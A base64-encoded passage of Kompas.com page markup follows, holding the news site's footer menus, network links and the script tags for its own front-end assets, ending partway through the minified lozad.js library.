AgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+SUtOPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5Cb2xhPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5UZWtubzwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+T3RvbW90aWY8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPkVudGVydGFpbm1lbnQ8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPlNhaW5zPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5IZWFsdGg8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPk1vbmV5PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5UcmVuPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5Qcm9wZXJ0aTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+TGlmZXN0eWxlPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5IeXBlPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5UcmF2ZWw8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPkhvbWV5PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5Gb29kPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5VTUtNPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5FZHVrYXNpPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5QYXJhcHVhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+Rm90bzwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+VmlkZW88L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPktvbG9tPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5WSUs8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPkpFTzwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+TGVzdGFyaTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+T2hheW8gSmVwYW5nPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5QZXNvbmEgSW5kb25lc2lhPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5QbGF5PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIj5BcnRpa2VsIFRlcnBvcHVsZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiPkFydGlrZWwgVGVya2luaTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+VG9waWsgUGlsaWhhbjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayI+QXJ0aWtlbCBIZWFkbGluZTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlckNvbC1uYXYgLS1jb2xOZXR3b3JrIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlck1lbnUtdGl0bGUiPk5ldHdvcms8L2Rpdj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyTWVudSI+CiAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJmb290ZXJNZW51LXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyIgY2xhc3M9ImZvb3Rlck1lbnUtbGluayIgdGFyZ2V0PSJfYmxhbmsiPktvbXBhcy5jb208L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5IYXJpYW4gS09NUEFTPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiB0YXJnZXQ9Il9ibGFuayI+S29tcGFzVFY8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5Lb21wYXNpYW5hPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiB0YXJnZXQ9Il9ibGFuayI+S0cgTWVkaWE8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5LR05vdyE8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5QYXNhbmdpa2xhbi5jb208L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5Lb250YW48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5Tb25vcmE8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5HcmlkLklEPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiB0YXJnZXQ9Il9ibGFuayI+R3JpZE90by5jb208L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5Cb2xhU3BvcnQuY29tPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiB0YXJnZXQ9Il9ibGFuayI+UGFyYXB1YW48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8iIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIHRhcmdldD0iX2JsYW5rIj5UcmlidW5uZXdzPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiB0YXJnZXQ9Il9ibGFuayI+R3JhbWVkaWEuY29tPC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSIvIiBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiB0YXJnZXQ9Il9ibGFuayI+R3JhbWVkaWEgRGlnaXRhbDwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CgoKICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJCb3R0b20iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXJCb3R0b20td3JhcCI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImZvb3RlckJvdHRvbS1tZW51Ij4KICAgICAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJmb290ZXJNZW51LWxpbmsiIGhyZWY9Ii8iPkthYmFyIFBhbG1lcmFoPC9hPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiBocmVmPSIvIj5BYm91dCBVczwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZvb3Rlck1lbnUtbGluayIgaHJlZj0iLyI+QWR2ZXJ0aXNlPC9hPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiBocmVmPSIvIj5LZXRlbnR1YW4gUGVuZ2d1bmFhbjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZvb3Rlck1lbnUtbGluayIgaHJlZj0iLyI+S2ViaWpha2FuIERhdGEgUHJpYmFkaTwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZvb3Rlck1lbnUtbGluayIgaHJlZj0iLyI+UGVkb21hbiBNZWRpYSBTaWJlcjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZvb3Rlck1lbnUtbGluayIgaHJlZj0iLyI+Q2FyZWVyPC9hPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iZm9vdGVyTWVudS1saW5rIiBocmVmPSIvIj5Db250YWN0IFVzPC9hPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyQ29weXJpZ2h0Ij4KICAgICAgICAgICAgICAgIDxwPkNvcHlyaWdodCAyMDI2IDw/PSAkYnJhbmR1cHBlciA/Pi4gQWxsIFJpZ2h0cyBSZXNlcnZlZC48L3A+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CjwvZGl2PgoKPC9kaXY+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyMi8xMi8yNy8xMDAzL2tvbXBhc2NvbS9jb3B5X2NyZWRpdC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgogIDxzY3JpcHQgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDI1LzA3LzE4L3Nzby9qcy9zc29fZ19zaWduaW5fZmVkY20ubWluLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIHBvcHVwX2VuYWJsZWQgPSBbCiAgICAgICAgJ2tnbU1vZGFsLWFnZScsCiAgICAgICAgJ2tnbU1vZGFsLWNvb2tpZScsCiAgICAgICAgJ2tnbU1vZGFsLW9uZXRhcC1rb21wYXNwbHVzcmVtaW5kZXInLAogICAgICAgIC8vICdrZ21Nb2RhbC1vbmV0YXAtZnJlZXByZW1pdW0nLAogICAgICAgICdrZ21Nb2RhbC12ZXJpZnktdjInLAogICAgICAgICdrZ21Nb2RhbC1vbmV0YXAnLAogICAgICAgICdrZ21Nb2RhbC1vbmV0YXAnCiAgICBdOwogIDwvc2NyaXB0PiAgICAKICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNS8wMi8yNy9zc28vanMvcG9wdXBfbWFuYWdlci5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgoKPCEtLSA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9qcy9yYWRpby1zdHJlYW0uanMiPjwvc2NyaXB0PiAtLT4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMTcvd3AvanMvc2xpY2subWluLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9qcy9qcXVlcnkuc3RpY2t5LWtpdC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDE3L3dwL2pzL2pxdWVyeS5tYXJxdWVlLm1pbi5qcz92PTExIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9qcy9qcXVlcnkubGF6eWxvYWQubWluLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNS8wOC8wOC93cC9kZXNrdG9wL2pzL21haW4ubWluLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjUvMDEvMjEvc3NvL2pzL3Nzb19wZXJzb25hbGlzYXNpLm1pbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjUvMDMvMTEvc3NvL2pzL3Nkay1jb29raWUtY29uc2VudC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+PGlmcmFtZSBuYW1lPSJnb29nbGVmY0luYWN0aXZlIiBzcmM9ImFib3V0OmJsYW5rIiBzdHlsZT0iZGlzcGxheTogbm9uZTsgd2lkdGg6IDBweDsgaGVpZ2h0OiAwcHg7IGJvcmRlcjogbm9uZTsgei1pbmRleDogLTEwMDA7IGxlZnQ6IC0xMDAwcHg7IHRvcDogLTEwMDBweDsiPjwvaWZyYW1lPjxpZnJhbWUgbmFtZT0iZ29vZ2xlZmNMb2FkZWQiIHNyYz0iYWJvdXQ6YmxhbmsiIHN0eWxlPSJkaXNwbGF5OiBub25lOyB3aWR0aDogMHB4OyBoZWlnaHQ6IDBweDsgYm9yZGVyOiBub25lOyB6LWluZGV4OiAtMTAwMDsgbGVmdDogLTEwMDBweDsgdG9wOiAtMTAwMHB4OyI+PC9pZnJhbWU+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNS9zc28vZXh0ZW5kZXIubWluLmpzP3Y9MTEzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjIvc3NvL2pzL3Nzb3VzZXIubWluLmpzP3Y9MiIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCjxzY3JpcHQgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDE3L3dwL2pzL21haW4tcGhvdG8tYXJ0aWNsZS5taW4uanM/dj02IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMTcvd3AvanMvcGhvdG9zd2lwZS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL2Fzc2V0LmtvbXBhcy5jb20vZGF0YS8yMDE3L3dwL2pzL3Bob3Rvc3dpcGUtdWktZGVmYXVsdC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CiAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjUvMDUvMTQvY3VhY2EvZGVza3RvcC9qcy9tYWluLWFydGljbGUubWluLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9qcy9ib290c3RyYXAtZGF0ZXBpY2tlci5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAxNy93cC9qcy9qcXVlcnkubWFnbmlmaWMtcG9wdXAubWluLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXQua29tcGFzLmNvbS9kYXRhLzIwMjUvMDcvMTgva29tcGFzY29tL2Rlc2t0b3AvanMvbWFpbi1jb21tZW50Lm1pbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCjwhLS0gaW5mb2dyYWZpcyB6b29tLS0+CjxkaXYgY2xhc3M9InBzd3AiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgPGRpdiBjbGFzcz0icHN3cF9fYmciPjwvZGl2PgogIDxkaXYgY2xhc3M9InBzd3BfX3Njcm9sbC13cmFwIj4KICAgIDxkaXYgY2xhc3M9InBzd3BfX2NvbnRhaW5lciI+CiAgICAgIDxkaXYgY2xhc3M9InBzd3BfX2l0ZW0iPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJwc3dwX19pdGVtIj48L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0icHN3cF9faXRlbSI+PC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9InBzd3BfX3VpIHBzd3BfX3VpLS1oaWRkZW4iPgogICAgICA8ZGl2IGNsYXNzPSJwc3dwX190b3AtYmFyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJwc3dwX19jb3VudGVyIj48L2Rpdj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJwc3dwX19idXR0b24gcHN3cF9fYnV0dG9uLS1jbG9zZSIgdGl0bGU9IkNsb3NlIChFc2MpIj48L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJwc3dwX19idXR0b24gcHN3cF9fYnV0dG9uLS1zaGFyZSIgdGl0bGU9IlNoYXJlIj48L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJwc3dwX19idXR0b24gcHN3cF9fYnV0dG9uLS1mcyIgdGl0bGU9IlRvZ2dsZSBmdWxsc2NyZWVuIj48L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJwc3dwX19idXR0b24gcHN3cF9fYnV0dG9uLS16b29tIiB0aXRsZT0iWm9vbSBpbi9vdXQiPjwvYnV0dG9uPgogICAgICAgIDxkaXYgY2xhc3M9InBzd3BfX3ByZWxvYWRlciI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwc3dwX19wcmVsb2FkZXJfX2ljbiI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBzd3BfX3ByZWxvYWRlcl9fY3V0Ij4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwc3dwX19wcmVsb2FkZXJfX2RvbnV0Ij48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgIDxkaXYgY2xhc3M9InBzd3BfX3NoYXJlLW1vZGFsIHBzd3BfX3NoYXJlLW1vZGFsLS1oaWRkZW4gcHN3cF9fc2luZ2xlLXRhcCI+CiAgICAgICAgPGRpdiBjbGFzcz0icHN3cF9fc2hhcmUtdG9vbHRpcCI+PC9kaXY+CiAgICAgIDwvZGl2PgogICAgICA8YnV0dG9uIGNsYXNzPSJwc3dwX19idXR0b24gcHN3cF9fYnV0dG9uLS1hcnJvdy0tbGVmdCIgdGl0bGU9IlByZXZpb3VzIChhcnJvdyBsZWZ0KSI+PC9idXR0b24+CiAgICAgIDxidXR0b24gY2xhc3M9InBzd3BfX2J1dHRvbiBwc3dwX19idXR0b24tLWFycm93LS1yaWdodCIgdGl0bGU9Ik5leHQgKGFycm93IHJpZ2h0KSI+PC9idXR0b24+CiAgICAgIDxkaXYgY2xhc3M9InBzd3BfX2NhcHRpb24iPgogICAgICAgIDxkaXYgY2xhc3M9InBzd3BfX2NhcHRpb25fX2NlbnRlciI+PC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgPC9kaXY+CjwvZGl2PgkKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgIShmdW5jdGlvbiAoKSB7CiAgICAgICAgdmFyIHRpbWUgPSBuZXcgRGF0ZSgpLmdldFRpbWUoKTsKICAgIAogICAgICAgICQoZG9jdW1lbnQuYm9keSkuYmluZCgnbW91c2Vtb3ZlIGtleXByZXNzJywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICB0aW1lID0gbmV3IERhdGUoKS5nZXRUaW1lKCk7CiAgICAgICAgfSk7CiAgICAKICAgICAgICBmdW5jdGlvbiByZWZyZXNoKCkgewogICAgICAgICAgICBpZiAobmV3IERhdGUoKS5nZXRUaW1lKCkgLSB0aW1lID49IDkwMDAwMCkgeyAvLyAxNSBNZW5pdAogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlbG9hZCh0cnVlKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQocmVmcmVzaCwgMTAwMDApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHNldFRpbWVvdXQocmVmcmVzaCwgMTAwMDApOwogICAgfSkoKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0IGFzeW5jPSIiIHNyYz0iaHR0cHM6Ly9hc3NldC5rb21wYXMuY29tL2RhdGEvMjAyNS8wOC8yNi8xNTA0L2tvbXBhc2NvbS5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBzZXRDb29raWVVa2lkKGNuYW1lLCBjdmFsdWUsIGV4ZGF5cykgewogIHZhciBkID0gbmV3IERhdGUoKTsKICBkLnNldFRpbWUoZC5nZXRUaW1lKCkgKyAoZXhkYXlzKjI0KjYwKjYwKjEwMDApKTsKICB2YXIgZXhwaXJlcyA9ICJleHBpcmVzPSIrIGQudG9VVENTdHJpbmcoKTsKICBkb2N1bWVudC5jb29raWUgPSBjbmFtZSArICI9IiArIGN2YWx1ZSArICI7IiArIGV4cGlyZXMgKyAiO2RvbWFpbj0ua29tcGFzLmNvbTtwYXRoPS87IjsKfQppZihkb2N1bWVudC5jb29raWUuaW5kZXhPZigndWtpZD0nKSA9PSAtMSl7CiAgdmFyIHhodHRwID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgeGh0dHAub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICAgIGlmICh0aGlzLnJlYWR5U3RhdGUgPT0gNCAmJiB0aGlzLnN0YXR1cyA9PSAyMDApIHsKICAgICAgICAgIHZhciB1a2lkX2Nvb2tpZSA9IEpTT04ucGFyc2UoeGh0dHAucmVzcG9uc2VUZXh0KTsKICAgICAgICAgIHNldENvb2tpZVVraWQoJ3VraWQnLCB1a2lkX2Nvb2tpZS51a2lkLCAzNjUpOwogICAgICB9CiAgfTsKICB4aHR0cC5vcGVuKCJHRVQiLCAiaHR0cHM6Ly9hcGlzLmtvbXBhcy5jb20vYXBpL2FjdGl2aXR5L3VzZXIiLCB0cnVlKTsKICB4aHR0cC5zZW5kKCk7Cn0KPC9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgovKiEgbG96YWQuanMgLSB2MS43LjAgLSAyMDE4LTExLTA4CiogaHR0cHM6Ly9naXRodWIuY29tL0Fwb29ydlNheGVuYS9sb3phZC5qcwoqIENvcHlyaWdodCAoYykgMjAxOCBBcG9vcnYgU2F4ZW5hOyBMaWNlbnNlZCBNSVQgKi8KIWZ1bmN0aW9uKHQsZSl7Im9iamVjdCI9PXR5cGVvZiBleHBvcnRzJiYidW5kZWZpbmVkIiE9dHlwZW9mIG1vZHVsZT9tb2R1bGUuZXhwb3J0cz1lKCk6ImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZD9kZWZpbmUoZSk6dC5sb3phZD1lKCl9KHRoaXMsZnVuY3Rpb24oKXsidXNlIHN0cmljdCI7dmFyIGc9T2JqZWN0LmFzc2lnbnx8ZnVuY3Rpb24odCl7Zm9yKHZhciBlPTE7ZTxhcmd1bWVudHMubGVuZ3RoO2UrKyl7dmFyIHI9YXJndW1lbnRzW2VdO2Zvcih2YXIgbyBpbiByKU9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChyLG8pJiYodFtvXT1yW29dKX1yZXR1cm4gdH0scj0idW5kZWZpbmVkIiE9dHlwZW9mIGRvY3VtZW50JiZkb2N1bWVudC5kb2N1bWVudE1vZGUsbD17cm9vdE1hcmdpbjoiMHB4Iix